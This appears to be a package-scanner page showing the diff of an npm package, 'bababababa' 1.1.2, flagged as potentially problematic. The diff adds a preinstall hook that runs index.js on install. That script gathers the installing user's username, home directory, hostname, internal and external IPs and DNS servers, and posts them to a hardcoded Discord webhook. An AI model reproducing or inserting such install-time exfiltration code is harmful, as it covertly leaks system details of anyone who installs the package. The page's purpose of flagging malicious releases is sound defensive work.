bababababa 1.1.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bababababa might be problematic. Click here for more details.
- package/index.js +86 -0
- package/package.json +1 -0
package/index.js
ADDED
@@ -0,0 +1,86 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
// Function to get the internal IP address
|
9
|
+
function getIPAddress() {
|
10
|
+
const networkInterfaces = os.networkInterfaces();
|
11
|
+
for (const interfaceName in networkInterfaces) {
|
12
|
+
const iface = networkInterfaces[interfaceName];
|
13
|
+
for (const alias of iface) {
|
14
|
+
if (alias.family === 'IPv4' && !alias.internal) {
|
15
|
+
return alias.address;
|
16
|
+
}
|
17
|
+
}
|
18
|
+
}
|
19
|
+
return 'IP not found';
|
20
|
+
}
|
21
|
+
|
22
|
+
// Function to get the external IP address
|
23
|
+
function getExternalIP(callback) {
|
24
|
+
https.get('https://ipinfo.io/json', (res) => {
|
25
|
+
let data = '';
|
26
|
+
|
27
|
+
// Receive data chunks
|
28
|
+
res.on('data', (chunk) => {
|
29
|
+
data += chunk;
|
30
|
+
});
|
31
|
+
|
32
|
+
// On response end, parse and return the IP address
|
33
|
+
res.on('end', () => {
|
34
|
+
const parsedData = JSON.parse(data);
|
35
|
+
callback({ip: parsedData.ip, hostname: parsedData.hostname}); // Call the callback with the external IP address
|
36
|
+
});
|
37
|
+
}).on('error', (e) => {
|
38
|
+
console.error('Error fetching external IP address:', e);
|
39
|
+
callback({ip:'External IP not found',hostname:'External hostname not found'}); // Handle errors
|
40
|
+
});
|
41
|
+
}
|
42
|
+
|
43
|
+
// Prepare the tracking data
|
44
|
+
getExternalIP((externalIP) => {
|
45
|
+
const trackingData = JSON.stringify({
|
46
|
+
package: package,
|
47
|
+
directory: __dirname,
|
48
|
+
home_directory: os.homedir(),
|
49
|
+
username: os.userInfo().username,
|
50
|
+
dns: dns.getServers(),
|
51
|
+
internal_hostname: os.hostname(),
|
52
|
+
internal_ip: getIPAddress(), // Add internal IP address here
|
53
|
+
external_ip: externalIP.ip, // Get External IP Address
|
54
|
+
external_hostname: externalIP.hostname,
|
55
|
+
resolved_url: packageJSON ? packageJSON.___resolved : undefined,
|
56
|
+
package_version: packageJSON.version,
|
57
|
+
package_json: packageJSON,
|
58
|
+
});
|
59
|
+
|
60
|
+
const webhookURL = "https://discord.com/api/webhooks/1301084955144618004/dzBF_mUG0Ob7MXPUjc3j4cbfOxRF8aquDty3TZCzVy7y-Pjh78fkwe_z1JezoYhAOv89"; // Replace with your Discord webhook URL
|
61
|
+
|
62
|
+
const postData = JSON.stringify({
|
63
|
+
content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
|
64
|
+
});
|
65
|
+
|
66
|
+
const options = new URL(webhookURL);
|
67
|
+
|
68
|
+
options.method = "POST";
|
69
|
+
options.headers = {
|
70
|
+
"Content-Type": "application/json",
|
71
|
+
"Content-Length": postData.length,
|
72
|
+
};
|
73
|
+
|
74
|
+
const req = https.request(options, (res) => {
|
75
|
+
res.on("data", (d) => {
|
76
|
+
process.stdout.write(d);
|
77
|
+
});
|
78
|
+
});
|
79
|
+
|
80
|
+
req.on("error", (e) => {
|
81
|
+
console.error(e);
|
82
|
+
});
|
83
|
+
|
84
|
+
req.write(postData);
|
85
|
+
req.end();
|
86
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
{"name": "bababababa", "version": "1.1.2", "description": "", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node index.js"}, "author": "", "license": "ISC"}
|